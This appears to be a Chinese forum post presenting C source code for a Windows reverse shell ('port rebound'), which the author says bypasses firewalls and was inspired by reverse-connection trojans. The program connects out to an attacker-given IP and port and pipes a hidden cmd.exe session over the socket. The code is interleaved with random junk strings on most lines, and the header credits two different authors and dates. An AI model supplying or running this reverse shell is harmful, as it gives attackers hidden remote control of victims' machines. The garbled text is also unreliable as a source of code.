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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {Ja(+NQ  
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/* ============================== }:;UnE}  
Rebound port in Windows NT |GsMLY:0  
By wind,2006/7 3?L[ohKH?:  
===============================*/ U0{)goN.  
#include 8pftc)k  
#include qfxEo76'  
t imY0fx #  
#pragma comment(lib,"wsock32.lib") 8ZM#.yB B  
w9O!L9 6  
void OutputShell(); ^&8hhxCPu|  
SOCKET sClient; Cg`lQY U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <hTHY E=  
6?C';1  
void main(int argc,char **argv) |JHNFs  
{ c=9A d  
WSADATA stWsaData; Z2H bAI8  
int nRet; g;nLR<]  
SOCKADDR_IN stSaiClient,stSaiServer; a l6y=;\jZ  
=NI?Jk*iAq  
if(argc != 3) "+wkruC  
{ 8"-=+w.CZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); op9vz[o#4  
return; p|mFF0SL  
} kS9;Tjcx  
k.o8!aCm  
WSAStartup(MAKEWORD(2,2),&stWsaData); Y Q.Xl_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d,Oagx  
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stSaiClient.sin_family = AF_INET; gH\>", [  
stSaiClient.sin_port = htons(0); Tcc83_Iq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H)"]I3  
>P\eHR,{-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Gau@RX:O  
{ gTOx|bx  
printf("Bind Socket Failed!\n"); 4\*:Lc,-  
return; Vwh ;QJxb  
} 4Y2I'~'  
G e]NA]<  
stSaiServer.sin_family = AF_INET; QJrXn6`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S<cz2FlV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cg17e  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W;UPA~nT~  
{ &0%Z b~ts  
printf("Connect Error!"); 5p S$rf  
return; *i:8g(  
} v~T)g"_|  
OutputShell(); oq!\100  
} &B[*L+-E  
hif;atO  
void OutputShell() x$n.\`f0  
{ YI"!&a'yj  
char szBuff[1024]; A%F8w'8(  
SECURITY_ATTRIBUTES stSecurityAttributes; ,Ww}xmq1H  
OSVERSIONINFO stOsversionInfo; a{^z= =  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `Ds=a`^b  
STARTUPINFO stStartupInfo; Y9<[n)>+  
char *szShell; vo\'ycPv  
PROCESS_INFORMATION stProcessInformation; qK#"uU8B  
unsigned long lBytesRead; knG:6tQ  
24? _k]Y  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eLORG(;h4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tgtym"=xd  
stSecurityAttributes.lpSecurityDescriptor = 0; iv6G9e{cx  
stSecurityAttributes.bInheritHandle = TRUE; xt pY*  
2\k!DF  
{ >izfG,\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q5Nbu90  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); __QnzEF  
Tc||96%2^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W$SV+q(rT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e.DN,rhqI  
stStartupInfo.wShowWindow = SW_HIDE; cyB+(jLHDs  
stStartupInfo.hStdInput = hReadPipe; iBbaHU*V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *K$a;2WjzG  
nKr'cb  
GetVersionEx(&stOsversionInfo); 6:B,ir _  
p19(>|$J  
switch(stOsversionInfo.dwPlatformId) U= f9b]Y  
{ JluA?B7E  
case 1: KO#kIM-  
szShell = "command.com"; juWXB+d2Y  
break; 8\' tfHL  
default: *f;$5B#^  
szShell = "cmd.exe"; >"<s7$g  
break; E.NfVeq  
} _zM?"16I}  
JJWP te/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U9b[t  
">1wPq&  
send(sClient,szMsg,77,0); 0R\.G1f%  
while(1) zzI,iEG  
{ 9ETdO,L)f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2D"my]FnF  
if(lBytesRead) i>h 3UIx\  
{ |&Mo Qxw@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AU`z.Isf  
send(sClient,szBuff,lBytesRead,0); oz{X"jfu  
} T|S-?X,  
else !BkE-9v?w  
{ ?87\_wL/j  
lBytesRead=recv(sClient,szBuff,1024,0); {%>~ ]9E  
if(lBytesRead<=0) break; _/>I-\xWA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D60quEe3%  
} !=.y[Db=  
} 8i73iTg(  
]O:8o<0  
return; O ] !tK  
}
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